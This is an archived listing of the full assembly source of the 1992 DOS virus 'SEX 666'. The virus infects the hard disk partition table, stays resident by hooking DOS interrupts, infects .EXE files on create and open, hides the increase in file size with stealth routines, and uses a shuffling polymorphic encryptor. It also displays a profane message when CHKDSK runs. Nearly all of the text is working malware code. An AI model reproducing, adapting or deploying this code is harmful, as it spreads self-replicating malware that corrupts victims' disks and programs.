home *** CD-ROM | disk | FTP | other *** search
/ HPAVC / HPAVC CD-ROM.iso / SOURCE.ZIP / SEX666.ASM < prev    next >
Assembly Source File  |  1992-11-29  |  24KB  |  1,070 lines

  1. ;------------------------------------------------------------------------------
  2. ;
  3. ; Virus Name:  SEX 666
  4. ; Origin:      Holland
  5. ; Eff Length:  2,048 bytes
  6. ; Type Code:   PRhE - Parasitic Resident .EXE Infector
  7. ; General Comments:
  8. ;     When the first program with SEX 666 is executed, SEX 666 will infect
  9. ;     this partition table the first harddisk and install itself resident
  10. ;     at the top of system memory, but below the 640k DOS boundary. Free
  11. ;     memory as indicated by the DOS CHKDSK program, will decrease by 4112
  12. ;     bytes. Interrupt 21h will be hooked by the virus.
  13. ;     This first time the computer is booted from the first harddisk SEX 666
  14. ;     will install itself resident above TOM but below the 640k DOS boundary.
  15. ;     Total system memory as indicated by the DOS CHKDSK program, will
  16. ;     decrease by 4096 bytes.
  17. ;     After SEX 666 is resident, it will infect .EXE programs that are
  18. ;     created with dos function 3ch or 5bh. Infected programs will increase
  19. ;     in size by 2048 bytes, though the increase in file length will be
  20. ;     hidden if SEX 666 is resident. The program's time will indicate 62
  21. ;      seconds, but this will be hidden if the virus is resident.
  22. ;------------------------------------------------------------------------------
  23. ;
  24. ; Interrupt vectors
  25. ;
  26. ;------------------------------------------------------------------------------
  27.  
  28. iseg segment at 0
  29.     org    1ch*4
  30.  
  31. Int1Co        dw    0            ; interrupt vector 21h
  32. Int1Cs        dw    0
  33.  
  34.     org    21h*4
  35.  
  36. Int21o        dw    0            ; interrupt vector 21h
  37. Int21s        dw    0
  38.  
  39. iseg ends
  40.  
  41. ;------------------------------------------------------------------------------
  42. ;
  43. ; Constants
  44. ;
  45. ;------------------------------------------------------------------------------
  46.  
  47. VirusSize    equ    800h            ; size of virus
  48. BootSize    equ    2bh
  49.  
  50. ;------------------------------------------------------------------------------
  51. ;
  52. ; Macros
  53. ;
  54. ;------------------------------------------------------------------------------
  55.  
  56. je_n    macro    dest                ; je >128 bytes
  57.     local    ok
  58.     jne    ok
  59.     jmp    dest
  60. ok:    
  61.     endm
  62.  
  63. jne_n    macro    dest                ; jne >128 bytes
  64.     local    ok
  65.     je    ok
  66.     jmp    dest
  67. ok:    
  68.     endm
  69.  
  70. dbw    macro    _byte1,_byte2,_word
  71.     db    _byte1,_byte2
  72.     dw    offset _word
  73.     endm
  74.  
  75. cseg segment public 'code'
  76.     assume    cs:cseg,ds:cseg,es:cseg
  77.  
  78. ;------------------------------------------------------------------------------
  79. ;
  80. ; Header of EXE-file
  81. ;
  82. ;------------------------------------------------------------------------------
  83.  
  84. Header        equ    $
  85.  
  86. Signature    dw    5a4dh            ; signature 'MZ'
  87. PartPage    dw    0            ; size of partitial page
  88. PageCount    dw    8            ; number of pages
  89. ReloCount    dw    0            ; number of relocation items
  90. HeaderSize    dw    2            ; size of header
  91. MinMem        dw    40h            ; minimum memory needed
  92. MaxMem        dw    40h            ; maximum memory needed
  93. ExeSS        dw    0            ; initial SS 
  94. ExeSP        dw    VirusSize        ; initial SP
  95. CheckSum    dw    0            ; unused ???
  96. ExeEntry    equ    this dword        ; initial entry point
  97. ExeIP        dw    offset Start        ; initial IP
  98. ExeCS        dw    0            ; initial CS
  99. ReloOffset    dw    1ch            ; offset of relocationtable
  100. OverlayNr    dw    0            ; number of overlay
  101.  
  102. CryptOfs    equ    OverlayNr        ; offset Crypt
  103.         org    BootSize
  104.  
  105. ;------------------------------------------------------------------------------
  106. ;
  107. ; Bootsector startup
  108. ;
  109. ;------------------------------------------------------------------------------
  110.  
  111. Bootsector:
  112.     cli
  113.     xor    bx,bx
  114.     mov    ds,bx
  115.     mov    ss,bx
  116.     mov    sp,7c00h
  117.     sti
  118.     mov    ax,ds:[413h]
  119.     sub    ax,(VirusSize/400h)
  120.     mov    ds:[413h],ax
  121.     mov    cl,6
  122.     shl    ax,cl
  123.     mov    es,ax
  124.     mov    ax,201h+(VirusSize/200h)
  125.     mov    cx,2
  126.     mov    dx,80h
  127.     int    13h
  128.     mov    bx,offset StartUp
  129.     push    es
  130.     push    bx
  131.     retf
  132.  
  133. StartUp:cli
  134.     mov    ax,offset Interrupt1C
  135.     xchg    ax,ds:Int1Co
  136.     mov    cs:OldInt1Co,ax
  137.     mov    ax,cs
  138.     xchg    ax,ds:Int1Cs
  139.     mov    cs:OldInt1Cs,ax
  140.     mov    cs:Count,182
  141.     sti
  142.     push    ds
  143.     pop    es
  144.     push    cs
  145.     pop    ds
  146.     mov    si,offset Header
  147.     mov    di,7c00h
  148.     mov    cx,BootSize
  149.     cld
  150.     rep    movsb
  151.     mov    bx,7c00h
  152.     push    es
  153.     push    bx
  154.     retf
  155.  
  156. Interrupt1C:
  157.     dec    cs:Count
  158.     jne    Old1C
  159.     push    ds
  160.     push    ax
  161.     cli
  162.     xor    ax,ax
  163.     mov    ds,ax
  164.     mov    ax,cs:OldInt1Co
  165.     mov    ds:Int1Co,ax
  166.     mov    ax,cs:OldInt1Cs
  167.     mov    ds:Int1Cs,ax
  168.     mov    ax,offset Interrupt21
  169.     xchg    ax,ds:Int21o
  170.     mov    cs:OldInt21o,ax
  171.     mov    ax,cs
  172.     xchg    ax,ds:Int21s
  173.     mov    cs:OldInt21s,ax
  174.     mov    cs:Handle1,0
  175.     mov    cs:Handle2,0
  176.     sti
  177.     pop    ax
  178.     pop    ds
  179. Old1C:    jmp    cs:OldInt1C
  180.  
  181. ;------------------------------------------------------------------------------
  182. ;
  183. ; Manipilated functions
  184. ;
  185. ;------------------------------------------------------------------------------
  186.  
  187. Functions    db    11h                ; 1
  188.         dw    offset FindFCB
  189.         db    12h                ; 2
  190.         dw    offset FindFCB
  191.         db    30h                ; 3
  192.         dw    offset Version
  193.         db    3ch                ; 4
  194.         dw    offset Create
  195.         db    3dh                ; 5
  196.         dw    offset Open
  197.         db    3eh                ; 6
  198.         dw    offset Close
  199.         db    42h                ; 7
  200.         dw    offset Seek
  201.         db    4bh                ; 8
  202.         dw    offset Exec
  203.         db    4eh                ; 9
  204.         dw    offset Find
  205.         db    4fh                ; a
  206.         dw    offset Find
  207.         db    5bh                ; b
  208.         dw    offset Create
  209.         db    6ch                ; c
  210.         dw    offset OpenCreate
  211.  
  212. FunctionCount    equ    0ch
  213.  
  214. ;------------------------------------------------------------------------------
  215. ;
  216. ; String data
  217. ;
  218. ;------------------------------------------------------------------------------
  219.  
  220. MemoryMsg    db    'Insufficient memory',13,10,'$'
  221.  
  222. ChkDsk        db    'CHKDSK'
  223.  
  224. ;------------------------------------------------------------------------------
  225. ;
  226. ; Procedure to infect an EXE-file
  227. ; At the top of the EXE-file must be space to put the virus.
  228. ;
  229. ;------------------------------------------------------------------------------
  230.  
  231. Infect:    push    ax                ; save registers
  232.     push    bx
  233.     push    cx
  234.     push    dx
  235.     push    ds
  236.     push    cs                ; ds=cs
  237.     pop    ds
  238.     mov    ax,4200h            ; position read/write pointer
  239.     xor    cx,cx                ; at the end of the virus
  240.     mov    dx,VirusSize
  241.     call    DOS
  242.     call    ReadHeader            ; read orginal exe-header
  243.     add    PageCount,VirusSize/200h    ; adjust header for virus
  244.     mov    ReloCount,0
  245.     mov    HeaderSize,0
  246.     add    MinMem,(10h+VirusSize)/10h
  247.     add    MaxMem,(10h+VirusSize)/10h
  248.     jnc    MaxOk
  249.     mov    MaxMem,0ffffh
  250. MaxOk:    add    ExeSS,VirusSize/10h
  251.     mov    ExeIP,offset Main
  252.     mov    ExeCS,0
  253.     mov    ax,4200h            ; position read/write pointer
  254.     xor    cx,cx                ; at the top of the virus
  255.     xor    dx,dx
  256.     call    DOS
  257.     call    WriteHeader            ; write header at the top of
  258.     jc    InfErr
  259.     mov    ax,5700h            ; the virus
  260.     call    DOS
  261.     mov    ax,5701h
  262.     or    cl,1fh
  263.     call    DOS
  264. InfErr:    pop    ds                ; restore registers
  265.     pop    dx
  266.     pop    cx
  267.     pop    bx
  268.     pop    ax
  269.     ret                    ; return
  270.  
  271. ;------------------------------------------------------------------------------
  272. ;
  273. ; The orginal interrupt 21h is redirected to this procedure
  274. ;
  275. ;------------------------------------------------------------------------------
  276.  
  277. FindFCB:call    DOS                ; call orginal interrupt
  278.     cmp    al,0                ; error ?
  279.     jne    Ret1
  280.     pushf                    ; save registers
  281.     push    ax
  282.     push    bx
  283.     push    es
  284.     mov    ah,2fh                ; get DTA
  285.     call    DOS
  286.     cmp    byte ptr es:[bx],-1        ; extended fcb ?
  287.     jne    FCBOk
  288.     add    bx,8                ; yes, skip 8 bytes
  289. FCBOk:    mov    al,es:[bx+16h]            ; get file-time (low byte)
  290.     and    al,1fh                ; seconds
  291.     cmp    al,1fh                ; 62 seconds ?
  292.     jne    FileOk                ; no, file not infected
  293.     sub    word ptr es:[bx+1ch],VirusSize    ; adjust file-size
  294.     sbb    word ptr es:[bx+1eh],0
  295.     jmp    short Time
  296.  
  297. Find:    call    DOS                ; call orginal interrupt
  298.     jc    Ret1                ; error ?
  299.     pushf                    ; save registers
  300.     push    ax
  301.     push    bx
  302.     push    es
  303.     mov    ah,2fh
  304.     call    DOS
  305.     mov    al,es:[bx+16h]            ; get file-time (low byte)
  306.     and    al,1fh                ; seconds
  307.     cmp    al,1fh                ; 62 seconds ?
  308.     jne    FileOk                ; no, file not infected
  309.     sub    word ptr es:[bx+1ah],VirusSize    ; change file-size
  310.     sbb    word ptr es:[bx+1ch],0
  311. Time:    xor    byte ptr es:[bx+16h],10h    ; adjust file-time
  312. FileOk:    pop    es                ; restore registers
  313.     pop    bx
  314.     pop    ax
  315.     popf
  316. Ret1:    retf    2                ; return
  317.  
  318. Version:push    cx                ; installation check
  319.     push    si                ; ds = cs
  320.     push    di
  321.     push    es
  322.     push    cs
  323.     pop    es
  324.     mov    si,offset Version        ; compare an part of the
  325.     mov    di,si                ; code segment with the code
  326.     mov    cx,VersionSize            ; segment of the virus
  327.     cld
  328.     repe    cmpsb
  329.     pop    es
  330.     pop    di
  331.     pop    si
  332.     pop    cx
  333.     jne    Old21                ; not equal, do orginal int 21h
  334.     mov    ax,0DEADh            ; return DEAD signature
  335.     mov    bx,offset Continue        ; es:dx = continue
  336.     push    cs
  337.     pop    es
  338.     retf    2                ; return
  339.  
  340. VersionSize    equ    $-Version
  341.  
  342. Seek:    or    bx,bx                ; bx=0 ?
  343.     jz    Old21                ; yes, do orginal interrupt
  344.     cmp    bx,cs:Handle1            ; bx=handle1 ?
  345.     je    Stealth                ; yes, use stealth
  346.     cmp    bx,cs:Handle2            ; bx=handle2 ?
  347.     jne    Old21                ; no, do orginal interrupt
  348. Stealth:push    cx                ; save cx
  349.     or    al,al                ; seek from top of file ?
  350.     jnz    Ok                ; no, don't change cx:dx
  351.     add    dx,VirusSize            ; change cx:dx
  352.     adc    cx,0
  353. Ok:    call    DOS                ; Execute orginal int 21h
  354.     pop    cx                ; restore cx
  355.     jc    Ret1                ; Error ?
  356.     sub    ax,VirusSize            ; adjust dx:ax
  357.     sbb    dx,0
  358.     jmp    short Ret1            ; return
  359.  
  360. Close:    or    bx,bx                ; bx=0 ?
  361.     je    Old21                ; yes, do orginal interrupt
  362.     cmp    bx,cs:Handle1            ; bx=handle1
  363.     jne    Not1                ; no, check handle2
  364.     call    Infect                ; finish infection
  365.     mov    cs:Handle1,0            ; handle1=unused
  366. Not1:    cmp    bx,cs:Handle2            ; bx=handle2
  367.     jne    Not2                ; no, do orginal interrupt
  368.     call    Infect
  369.     mov    cs:Handle2,0            ; handle2=unused
  370. Not2:    jmp    short Old21            ; continue with orginal int
  371.  
  372. Interrupt21:
  373.     cmp    cs:Disable,0
  374.     jne    Old21
  375.     push    bx                ; after an int 21h instruction
  376.     push    cx                ; this procedure is started
  377.     mov    bx,offset Functions
  378.     mov    cx,FunctionCount
  379. NxtFn:    cmp    ah,cs:[bx]            ; search function
  380.     je    Found
  381.     add    bx,3
  382.     loop    NxtFn
  383.     pop    cx                ; function not found
  384.     pop    bx
  385. Old21:    inc    cs:Cryptor
  386.     jmp    cs:OldInt21
  387.  
  388. Found:    push    bp                ; function found, start viral
  389.     mov    bp,sp                ; version of function
  390.     mov    bx,cs:[bx+1]
  391.     xchg    bx,ss:[bp+4]
  392.     pop    bp
  393.     pop    cx
  394.     ret
  395.  
  396. Create:    cmp    cs:Handle1,0            ; handle1=0 ?
  397.     jne    Old21                ; No, can't do anything
  398.     call    CheckName            ; check for .exe extension
  399.     jc    Old21                ; No, not an exe-file
  400. ExtCr:    call    DOS                ; Execute orginal interrupt
  401.     jc    Ret2                ; Error ?
  402.     pushf                    ; save registers
  403.     push    ax
  404.     push    bx
  405.     push    cx
  406.     push    dx
  407.     push    si
  408.     push    di
  409.     push    ds
  410.     push    es
  411.     push    cs
  412.     pop    ds
  413.     push    cs
  414.     pop    es
  415.     mov    bx,ax                ; write virus to file
  416.     mov    ax,4400h
  417.     call    DOS
  418.     jc    InRet
  419.     test    dx,80h
  420.     jnz    InRet
  421.     push    bx
  422.     call    Link
  423.     pop    bx
  424.     mov    si,offset WriteVirus
  425.     mov    di,offset Header
  426.     mov    cx,1ah
  427.     rep    movsb
  428.     mov    CryptOfs,offset Crypt
  429.     call    Header
  430.     jc    InErr                ; Error ?
  431.     cmp    ax,cx
  432.     jne    InErr
  433.     mov    Handle1,bx            ; store handle
  434.     jmp    short InRet
  435. InErr:    mov    ax,4200h            ; set read/write pointer to top
  436.     xor    cx,cx                ; of file
  437.     xor    dx,dx
  438.     call    DOS
  439.     mov    ah,40h
  440.     xor    cx,cx
  441.     call    DOS
  442. InRet:    pop    es                ; restore registers
  443.     pop    ds
  444.     pop    di
  445.     pop    si
  446.     pop    dx
  447.     pop    cx
  448.     pop    bx
  449.     pop    ax
  450.     popf
  451. Ret2:    retf    2                ; return
  452.  
  453. OpenCreate:
  454.     or    al,al                ; subfunction 0 ?
  455.     jne    Fail                ; no, do orginal interrupt
  456.     push    dx
  457.     and    dl,0f0h
  458.     cmp    dl,020h
  459.     pop    dx
  460.     je    Replace
  461.     push    ax                ; save registers
  462.     push    bx
  463.     push    cx
  464.     push    dx
  465.     mov    ax,3d00h            ; open file and close file to
  466.     mov    dx,si                ; check if file exists
  467.     call    DOS
  468.     jc    Error
  469.     mov    bx,ax
  470.     mov    ah,3eh
  471.     call    DOS
  472. Error:    pop    dx                ; restore registers
  473.     pop    cx
  474.     pop    bx
  475.     pop    ax
  476.     jnc    Open                ; open file, if file exists
  477. Replace:cmp    cs:Handle1,0            ; is handle1 0 ?
  478.     jne    Fail                ; no, do orginal interrupt
  479.     push    dx                ; save dx
  480.     mov    dx,si
  481.     call    CheckName            ; check for .exe extension
  482.     pop    dx                ; restore dx
  483.     jc    Fail
  484.     jmp    ExtCr                ; create if exe-file
  485. Fail:    jmp    Old21                ; do orginal interrupt
  486.  
  487. Open:    cmp    al,1
  488.     je    Fail
  489.     cmp    cs:Handle2,0            ; handle1=0 ?
  490.     jne    Fail                ; No, can't do anything
  491.     call    DOS                ; Execute orginal interrupt
  492.     jc    Ret3                ; Error ?
  493.     pushf                    ; save registers
  494.     push    ax
  495.     push    bx
  496.     push    cx
  497.     push    dx
  498.     push    ds
  499.     push    cs
  500.     pop    ds
  501.     mov    bx,ax                ; read header of file
  502. Ext2:    mov    ax,4400h
  503.     call    DOS
  504.     jc    Device
  505.     test    dx,80h
  506.     jnz    Device
  507.     mov    ah,3fh
  508.     mov    cx,1ch
  509.     xor    dx,dx
  510.     call    DOS
  511.     jc    NoVir                ; error ?
  512.     cmp    ax,cx
  513.     jne    NoVir
  514.     cmp    Signature,5a4dh            ; signature = 'MZ' ?
  515.     jne    NoVir                ; no, not infected
  516.     cmp    HeaderSize,0            ; headersize = 0 ?
  517.     jne    NoVir                ; no, not infected
  518.     cmp    ExeIP,offset Main        ; ip = Start ?
  519.     jne    NoVir                ; no, not infected
  520.     cmp    ExeCS,0                ; cx = 0 ?
  521.     jne    NoVir                ; no, not infected
  522.     mov    Handle2,bx            ; store handle
  523.     mov    ax,4200h
  524.     xor    cx,cx
  525.     mov    dx,VirusSize            ; seek to end of virus
  526.     jmp    OpenOk
  527. NoVir:    mov    ax,4200h
  528.     xor    cx,cx
  529.     xor    dx,dx
  530. OpenOk:    call    DOS
  531. Device:    pop    ds                ; restore registers
  532.     pop    dx
  533.     pop    cx
  534.     pop    bx
  535.     pop    ax
  536.     popf
  537. Ret3:    retf    2                ; return
  538.  
  539. Exec:    push    ax
  540.     push    cx
  541.     push    si
  542.     push    di
  543.     mov    si,dx
  544.     mov    di,offset ChkDsk
  545.     mov    cx,100h
  546. Next7:    jcxz    NotChk
  547.     mov    ah,cs:[di]
  548. Next8:    lodsb
  549.     and    al,0dfh
  550.     cmp    al,ah
  551.     loopne    Next8
  552.     push    cx
  553.     push    si
  554.     push    di
  555.     mov    cx,6
  556.     dec    si
  557. Next9:    lodsb
  558.     and    al,0dfh
  559.     inc    di
  560.     cmp    cs:[di-1],al
  561.     loope    Next9
  562.     pop    di
  563.     pop    si
  564.     pop    cx
  565.     jne    Next7
  566.     cmp    cs:Cryptor,1000h
  567.     jae    NoMsg
  568.     push    dx
  569.     push    ds
  570.     push    cs
  571.     pop    ds
  572.     mov    ah,9
  573.     mov    dx,offset TextLine
  574.     call    DOS
  575.     mov    ah,9
  576.     mov    dx,offset Message
  577.     call    DOS
  578.     pop    ds
  579.     pop    dx
  580. NoMsg:    pop    di
  581.     pop    si
  582.     pop    cx
  583.     pop    ax
  584.     inc    cs:Disable
  585.     call    DOS
  586.     dec    cs:Disable
  587.     jmp    Ret3
  588. NotChk:    pop    di
  589.     pop    si
  590.     pop    cx
  591.     pop    ax
  592.     jmp    Old21
  593.  
  594. ;------------------------------------------------------------------------------
  595.  
  596. WriteVirus:
  597.     call    CryptOfs            ; encrypt
  598.     mov    ah,40h                ; write virus to file
  599.     mov    cx,VirusSize
  600.     xor    dx,dx
  601.     pushf
  602.     call    cs:OldInt21
  603.     call    CryptOfs            ; decrypt
  604.     ret                    ; return
  605.  
  606. WriteHeader:                    ; write exe-header to file
  607.     mov    ah,40h
  608.     jmp    short Hdr
  609.  
  610. ReadHeader:                    ; read exe-header from file
  611.     mov    ah,3fh
  612. Hdr:    mov    cx,1ch
  613.     xor    dx,dx
  614.  
  615. DOS:    pushf                    ; call orginal interrupt
  616.     call    cs:OldInt21
  617.     ret
  618.  
  619. CheckName:                    ; check for .exe
  620.     push    ax                ; save registers
  621.     push    cx
  622.     push    si
  623.     push    di
  624.     xor    ah,ah                ; point found = 0
  625.     mov    cx,100h                ; max length filename = 100h
  626.     mov    si,dx                ; si = start of filename
  627.     cld
  628. NxtChr:    lodsb                    ; get byte
  629.     or    al,al                ; 0 ?
  630.     je    EndName                ; yes, check extension
  631.     cmp    al,'\'                ; \ ?
  632.     je    Slash                ; yes, point found = 0
  633.     cmp    al,'.'                ; . ?
  634.     je    Point                ; yes, point found = 1
  635.     loop    NxtChr                ; next character
  636.     jmp    EndName                ; check extension
  637. Slash:    xor    ah,ah                ; point found = 0
  638.     jmp    NxtChr                ; next character
  639. Point:    inc    ah                ; point found = 1
  640.     mov    di,si                ; di = start of extension
  641.     jmp    NxtChr                ; next character
  642. EndName:or    ah,ah                ; point found = 0
  643.     je    NotExe                ; yes, not an exe-file
  644.     mov    si,di                ; si = start of extension
  645.     lodsw                    ; first 2 characters
  646.     and    ax,0dfdfh            ; uppercase
  647.     cmp    ax,05845h            ; EX ?
  648.     jne    NotExe                ; no, not an exe-file
  649.     lodsb                    ; 3rd character
  650.     and    al,0dfh                ; uppercase
  651.     cmp    al,045h                ; E ?
  652.     je    ChkRet                ; yes, return
  653. NotExe:    stc                    ; set carry flag
  654. ChkRet:    pop    di                ; restore registers
  655.     pop    si
  656.     pop    cx
  657.     pop    ax
  658.     ret                    ; return
  659.  
  660. ;------------------------------------------------------------------------------
  661. ;
  662. ; Linker for encryption procedure
  663. ;
  664. ;------------------------------------------------------------------------------
  665.  
  666. Part1        db    7,0
  667.         db        1,    09ch
  668.         db        1,    050h
  669.         db        1,    051h
  670.         db        1,    052h
  671.         db        1,    056h
  672.         db        1,    057h
  673.         db        1,    01eh
  674. Part2        db    4,0
  675.         db        2,    00eh,01fh
  676.         db        2,    031h,0c0h
  677.         dbw        3,    0bah,Crypt-1ch
  678.         dbw        3,    0bfh,[1ch]
  679. Part3        db    1,0
  680.         db        3,    0fch,0ebh,00eh
  681. Part4        db    4,0
  682.         db        1,    0ach
  683.         db        2,    002h,0e0h
  684.         db        2,    0d0h,0cch
  685.         db        3,    030h,025h,047h
  686. Part5        db    1,0
  687.         db        2,    0e2h,0f6h
  688. Part6        db    1,0
  689.         db        4,    00bh,0d2h,074h,010h
  690. Part7        db    2,0
  691.         dbw        3,    0beh,Crypt
  692.         dbw        3,    0b9h,Lastbyte-Crypt
  693. Part8        db    1,0
  694.         db        10,    03bh,0d1h,073h,002h,08bh
  695.         db            0cah,02bh,0d1h,0ebh,0e2h
  696. Part9        db    7,1
  697.         db        1,    09dh
  698.         db        1,    058h
  699.         db        1,    059h
  700.         db        1,    05ah
  701.         db        1,    05eh
  702.         db        1,    05fh
  703.         db        1,    01fh
  704. Part10        db    1,0
  705.         db        1,    0c3h
  706.  
  707.  
  708. Link:    mov    ax,Cryptor
  709.     mov    cx,10                ; number of parts
  710.     mov    di,offset Crypt            ; destenation
  711.     mov    si,offset Part1            ; source
  712. Next1:    push    ax                ; save registers
  713.     push    cx
  714.     push    di
  715.     cld
  716.     cmp    byte ptr ds:[si+1],0
  717.     je    Forward
  718.     push    ax
  719.     push    cx
  720.     push    si
  721.     xor    ax,ax
  722.     mov    cl,[si]
  723.     xor    ch,ch
  724.     add    si,2
  725. Next4:    lodsb
  726.     add    si,ax
  727.     add    di,ax
  728.     loop    Next4
  729.     dec    di
  730.     std
  731.     pop    si
  732.     pop    cx
  733.     pop    ax
  734. Forward:mov    Table[0],0100h            ; initialize table
  735.     mov    Table[2],0302h
  736.     mov    Table[4],0504h
  737.     mov    Table[6],0706h
  738.     mov    bx,offset Table
  739.     mov    cl,ds:[si]            ; get number of instructions
  740.     xor    ch,ch                ;  to shuffle
  741. Next2:    call    Shuffle
  742.     loop    Next2
  743.     pop    di
  744.     mov    cl,ds:[si]            ; get next part
  745.     xor    ch,ch
  746.     add    si,2
  747.     cld
  748. Next6:    lodsb
  749.     xor    ah,ah
  750.     add    si,ax
  751.     add    di,ax
  752.     loop    Next6
  753.     pop    cx                ; restore register
  754.     pop    ax
  755.     loop    Next1                ; next
  756.     ret                    ; return
  757.  
  758. Shuffle:xor    dx,dx                ; shuffle instructions
  759.     div    cx
  760.     push    ax
  761.     push    cx
  762.     push    si
  763.     xchg    si,dx
  764.     mov    al,ds:[bx]
  765.     xchg    al,ds:[bx+si]
  766.     xchg    si,dx
  767.     inc    bx
  768.     pushf
  769.     cld
  770.     mov    cl,al
  771.     xor    ax,ax
  772.     xor    ch,ch
  773.     add    si,2
  774.     jcxz    First
  775. Next5:    lodsb
  776.     add    si,ax
  777.     loop    Next5
  778. First:    lodsb
  779.     xor    ah,ah
  780.     mov    cx,ax
  781.     popf
  782.     rep    movsb
  783.     pop    si
  784.     pop    cx
  785.     pop    ax
  786.     ret
  787.  
  788. ;------------------------------------------------------------------------------
  789. ;
  790. ; This procedure is called when starting from an exe-file
  791. ;
  792. ;------------------------------------------------------------------------------
  793.  
  794. MemErr:    mov    ah,9                ; display message
  795.     mov    dx,offset MemoryMsg
  796.     int    21h
  797.     mov    ax,4cffh            ; terminate with error-code 255
  798.     int    21h
  799.  
  800. Start:    mov    cs:SavedAX,ax            ; save registers
  801.     mov    cs:SavedDS,ds
  802.     push    cs                ; ds = cs
  803.     pop    ds
  804.     mov    ah,30h                ; get dos-version (installation
  805.     int    21h                ; check)
  806.     cmp    ax,0DEADh            ; virus installed ?
  807.     jne    Install                ; no, install
  808.     cmp    bx,offset Continue
  809.     jne    Install
  810.     mov    ax,ds:SavedAX
  811.     mov    es:SavedAX,ax
  812.     mov    ax,ds:SavedDS
  813.     mov    es:SavedDS,ax
  814.     push    es                ; push es and dx for far return
  815.     push    bx
  816.     mov    ax,cs                ; ax=distenation segment
  817.     mov    dx,cs                ; dx=segment of orginal header
  818.     add    dx,VirusSize/10h
  819.     retf                    ; start orginal exe-file
  820. Install:mov    ah,4ah                ; get memory avail
  821.     mov    bx,-1
  822.     int    21h
  823.     sub    bx,(10h+VirusSize)/10h      ; memory needed by virus
  824.     mov    ah,4ah                ; adjust memory block-size
  825.     int    21h
  826.     jc    MemErr                ; error ? yes, terminate
  827.     mov    ah,48h                ; allocate memory for virus
  828.     mov    bx,VirusSize/10h
  829.     int    21h
  830.     jc    MemErr                ; error ? yes, terminate
  831.     mov    es,ax
  832.     mov    ax,201h
  833.     xor    bx,bx
  834.     mov    cx,1
  835.     mov    dx,80h
  836.     int    13h
  837.     jc    BootOk
  838.     mov    si,offset BootSector
  839.     xor    di,di
  840.     mov    cx,BootSize
  841.     cld
  842.     repe    cmpsb
  843.     je    BootOk
  844.     mov    di,1beh+8
  845.     mov    cx,4
  846. Next3:    cmp    word ptr es:[di+2],0
  847.     ja    SectOk
  848.     cmp    word ptr es:[di],1+(VirusSize/200h)
  849.     jbe    BootOk
  850. SectOk:    loop    Next3
  851.     push    ds
  852.     push    es
  853.     push    es
  854.     pop    ds
  855.     push    cs
  856.     pop    es
  857.     xor    si,si
  858.     xor    di,di
  859.     mov    cx,BootSize
  860.     cld
  861.     rep    movsb
  862.     mov    ax,300h+(VirusSize/200h)
  863.     mov    cx,2
  864.     int    13h
  865.     pop    es
  866.     pop    ds
  867.     jc    BootOk
  868.     mov    si,offset BootSector
  869.     xor    di,di
  870.     mov    cx,BootSize
  871.     cld
  872.     rep    movsb
  873.     mov    ax,301h
  874.     mov    cx,1
  875.     int    13h
  876. BootOk:    mov    ax,es
  877.     dec    ax                ; get segment of MCB
  878.     mov    es,ax
  879.     mov    word ptr es:[1],8        ; change owner
  880.     inc    ax                ; get segment of memory-block
  881.     mov    es,ax                ; es:dx = continue
  882.     mov    dx,offset Continue
  883.     push    es                ; push es and ds for far return
  884.     push    dx
  885.     xor    si,si                ; copy virus to memory-block
  886.     xor    di,di
  887.     mov    cx,VirusSize/2
  888.     cld
  889.     rep    movsw
  890.     xor    ax,ax                ; ds = interrupt table
  891.     mov    ds,ax
  892.     mov    ax,ds:Int21o            ; save interrupt 21h vector
  893.     mov    es:OldInt21o,ax
  894.     mov    ax,ds:Int21s
  895.     mov    es:OldInt21s,ax
  896.     mov    ds:Int21o,offset Interrupt21    ; store new interrupt vector
  897.     mov    ds:Int21s,es
  898.     mov    es:Handle1,0            ; clear handles
  899.     mov    es:Handle2,0
  900.     push    cs
  901.     pop    ds
  902.     mov    ax,cs                ; ax=distenation segment
  903.     mov    dx,cs                ; dx=segment of orginal header
  904.     add    dx,VirusSize/10h
  905.     retf                    ; start orginal exe-file
  906.  
  907. Continue:
  908.     mov    ds,dx                ; ds=dx
  909.     add    ExeSS,ax            ; adjust orginal SS
  910.     add    ExeCS,ax            ; adjust orginal CS
  911.     xor    si,si                ; copy orginal header to
  912.     xor    di,di                ; code segment
  913.     mov    cx,0dh
  914.     cld
  915.     rep    movsw
  916.     mov    si,ReloOffset            ; get offset of relocationtable
  917.     mov    cx,ReloCount            ; get number of relocationitems
  918.     add    dx,HeaderSize            ; get start of orginal exe-file
  919.     cld
  920.     jcxz    Zero                ; 0 relocation items ?
  921. Next:    push    ax                ; save ax
  922.     lodsw                    ; get offset of relocationitem
  923.     mov    bx,ax
  924.     lodsw                    ; get segment of relocationitem
  925.     add    ax,dx
  926.     mov    es,ax
  927.     pop    ax
  928.     add    es:[bx],ax            ; adjust relocationitem
  929.     loop    Next                ; next relocationitem
  930. Zero:    mov    bx,PageCount            ; get number of pages in file
  931.     cli                    ; disable interrupts
  932. NxtPage:mov    ds,dx                ; ds = source segment
  933.     mov    es,ax                ; es = destenation segment
  934.     mov    cx,100h                ; cx = size of 1 page in words
  935.     xor    si,si                ; si = 0
  936.     xor    di,di                ; di = 0
  937.     rep    movsw                ; copy block
  938.     add    ax,20h                ; adjust destenation segment
  939.     add    dx,20h                ; adjust source segment
  940.     dec    bx                ; restore cx
  941.     jnz    NxtPage                ; next block
  942.     mov    ss,cs:ExeSS            ; set ss:sp
  943.     mov    sp,cs:ExeSP
  944.     sti                    ; enable interrupts
  945.     mov    ax,cs:SavedAX            ; restore registers
  946.     mov    ds,cs:SavedDS
  947.     mov    es,cs:SavedDS
  948.     jmp    cs:ExeEntry
  949.  
  950. ;------------------------------------------------------------------------------
  951. ;
  952. ; Activation
  953. ;
  954. ;------------------------------------------------------------------------------
  955.  
  956. Message        equ    this byte
  957.         db    9,9,9,9,'        SEX 666',13,10
  958.         db     9,9,9,9,'    Fuck the Demon',13,10
  959.         db    13,10
  960.         db    9,9,9,9,' Greetings Bit Addict',13,10
  961.  
  962. TextLine    equ     this byte
  963.         db    13,10
  964.         db    9,9,9,9,'──────────────────────',13,10
  965.         db    13,10
  966.         db    '$'
  967.  
  968. ;------------------------------------------------------------------------------
  969. ;
  970. ; Encryption
  971. ;
  972. ;------------------------------------------------------------------------------
  973.  
  974. Crypt:        db    58 dup(90h)        ; this should be the encryption
  975.  
  976. Cryptor        dw    0            ; change the encryption by
  977.                         ; changing this value
  978.  
  979. Main:    call    Crypt                ; decrypt
  980.     jmp    Start                ; jump to Start
  981.  
  982.  
  983. LastByte    equ    $            ; encryption stops here
  984.  
  985. ;------------------------------------------------------------------------------
  986. ;
  987. ; Variables
  988. ;
  989. ;------------------------------------------------------------------------------
  990.  
  991. OldInt1C    equ    this dword        ; orginal interrupt 8
  992. OldInt1Co    dw    0
